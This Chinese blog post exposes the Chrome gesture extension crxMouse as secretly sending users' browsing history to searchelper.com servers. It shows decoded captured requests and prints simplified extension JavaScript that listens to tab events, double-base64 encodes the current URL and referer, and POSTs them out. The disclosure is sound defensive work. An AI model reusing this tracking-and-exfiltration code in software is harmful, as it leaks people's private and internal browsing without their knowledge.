小心浏览器插件窃取你的隐私

浏览器插件已经成为了浏览器的必备品,但是市场上的插件也良莠不齐,甚至部分插件切换用户隐私,如浏览器的历史记录。笔者就遇到了这样一个插件,就是著名的手势插件:crxMouse Chrome Gestures,更可气的是已经用了这个插件一年多了。

#1 简单介绍:
用Google搜索crxMouse Chrome Gestures导向到google市场,可以看到这款插件的简单介绍。
原名:Gestures for Chrome(TM)汉化版.方便,快捷,充分发掘鼠标的所有操作.功能包括:鼠标手势,超级拖曳,滚轮手势,摇杆手势,平滑滚动,标签页列表等.
本扩展致力于通过鼠标来实现一些功能操作,充分挖掘鼠标的所有操作.
功能包括:鼠标手势,超级拖曳,滚轮手势,摇杆手势,平滑滚动,标签页列表等
目前在google市场上这款插件有30万的用户,累计评价5000,其中很大一部分是国内用户,影响还是非常广泛的。google市场

#2 验证窃取行为
通过wireshark抓包可以看到两个分别发送到s808.searchelper.com和s1808.searchelper.com的请求,直接上图:s808服务请求

从origin可以看出,请求是来源于浏览器插件,标记为:jgiplclhploodgnkcljjgddajfbmafmp,可以通过chrome的chrome://extensions/找到该id对应的插件,就是插件显示,其对应的系统目录为

1
2
C:\Users\[用户]\AppData\Local\Google\Chrome\User Data\Default\Extensions\jgiplclhploodgnkcljjgddajfbmafmp
```,我们可以通过分析其代码发现其实现,这个后续再讲。细心的读者可能会看到post请求段被加密了,看结构像是base64,尝试用base64解码,还是base64编码格式,再次解码,得到如下数据:

s=808&md=21&pid=SjOa3PgqWSHYapU&sess=314039255259558500&q=http://bbs.pediy.com/showthread.php?t=179524&prev=http://bbs.pediy.com/forumdisplay.php?f=161&link=1&sub=chrome&hreferer=http://bbs.pediy.com/forumdisplay.php?f=161&tmv=3015

1
2
s=808就代表着服务器s808,pid即userid,sess是用户本地标记session,sub代表着浏览器类型,q代表当前页面,prev代表着从哪个页面过来,也就是referer的作用,hreferer就也记录着referer字段有了这些数据就可以分析用户行为,可以供搜索引擎,其实百度统计和google统计也是干同样的事,甚至百度统计还有点击等的统计。就这样你的浏览行为被发送给了其他服务器,这不是最危险的,最危险的是你在浏览内网的一些页面也会被发送出去,内网的一些站点就很容易被泄露了。
接着我们看另外一个请求,这个请求是发送到s1808服务器上,具体请求如下:![s1808服务器的请求][4],解密加密后的内容和发送到s808的请求基本一致,具体如下:

s=1808&md=21&pid=SjOa3PgqWSHYapU&sess=765877789119258500&sub=chrome&q=http%3A//bbs.pediy.com/showthread.php%3Ft%3D179524&hreferer=http%3A//bbs.pediy.com/forumdisplay.php%3Ff%3D161&prev=http%3A//bbs.pediy.com/forumdisplay.php%3Ff%3D161&tmv=4015&tmf=1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
这里就有点搞不太清楚发这样一个备份请求的原因了,难道仅仅是备份,有待思考,为了更好的弄清楚该插件还有没有其他危险行为,接下来我们分析插件的实现。
#3 恶意插件实现
插件的恶意行为集中在upalytics_ch.js代码中,安装后的初始化代码:
```js
this.initOnceAfterInstall = function() {
if (!utils.db.get("userid")) {
var id = utils.createUserID();
utils.db.set("userid", id)
}
if (!utils.db.get("install_time")) {
var now = (new Date).getTime() / 1E3;
utils.db.set("install_time", now)
}
if (!utils.db_type.get("tmv")) {
var now = (new Date).getTime() / 1E3;
utils.db_type.set("tmv", SIM_ModuleConstants._TMV);
}
};

在初始化中生成userid,获取install_time,twv字段存放在本地localstorage中,接着会创建各种调用addListener接口来创建监听器,当tab页更新,替换,激活的时候就会调用相应的请求发送相应的函数,extension_onRequest则是发送到s808服务器,tabs_onUpdated,tabs_onActivated,tabs_onReplaced则是发送请求到s1808服务器,具体代码如下:

1
2
3
4
5
6
7
8
9
10
this.start = function() {
try {
chrome.extension.onRequest.addListener(extension_onRequest);
chrome.tabs.onUpdated.addListener(tabs_onUpdated);
chrome.tabs.onActivated.addListener(tabs_onActivated);
chrome.tabs.onReplaced.addListener(tabs_onReplaced)
} catch (e) {
log.SEVERE("8835", e)
}
}

下面我们简单分析下发送到s808.searchelper.com的related请求的代码,已简化,简化部分主要是去除一些google搜索的跳转,去除docType非html类型的,去除间隔时间很短的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function extension_onRequest(request, sender, sendResponse) {
var prev_state = tabs_states[tabId];
tabs_states[tabId] = change_status;
if (res_prev_url == tab_url && prev_state != change_status){
log.ERROR("ERROR 8002 ??");
return
}
if(res_prev_url == null || res_prev_url.length == 0) {
res_prev_url = last_prev;
}
last_prev = tab_url;
var data = "s=" + SIM_Config_BG.getSourceId() + "&md=21&pid=" + utils.db.get("userid") + "&sess=" + SIM_Session.getSessionId() + "&q=" + encodeURIComponent(tab_url) + "&prev=" + encodeURIComponent(res_prev_url) + "&link=" + (ref ? "1" : "0") + "&sub=" + SIM_ModuleConstants.BROWSER + "&hreferer=" + encodeURIComponent(ref);
data = data + "&tmv=" + SIM_ModuleConstants._TMV;
data = SIM_Base64.encode(SIM_Base64.encode(data));
data = "e=" + data;
var url = utils.db_type.get("server") + "/related";
utils.net.post(url, "json", data, function(result) {
log.INFO("Succeeded in posting data");
tabs_prevs[tabId] = tab_url
}, function(httpCode) {
log.INFO("Failed to retrieve content. (HTTP Code:" + httpCode.status + ")");
log.ERROR("ERROR 8004 ??");
tabs_prevs[tabId] = tab_url
})
}

从上述代码中可以看出在关键的浏览器当前url和referer都进行了两次base64编码处理,可以逃过一些普通用户的眼睛,难道这种方式能够躲过google的一些自动审查,比较好奇。

#4 建议
码农也不容易,辛辛苦苦写出来的程序不赚钱只能靠窃取用户浏览历史发给第三方来获取回报,想必也是迫不得已,当然对于这种窃取隐私的绝对要抵制。mouse guesture作为一个很好用的特性,笔者已经难以离开,所以在google市场上选择了其他的guesture插件。有了这个教训,相信大家以后使用浏览器插件肯定会多长一双眼睛。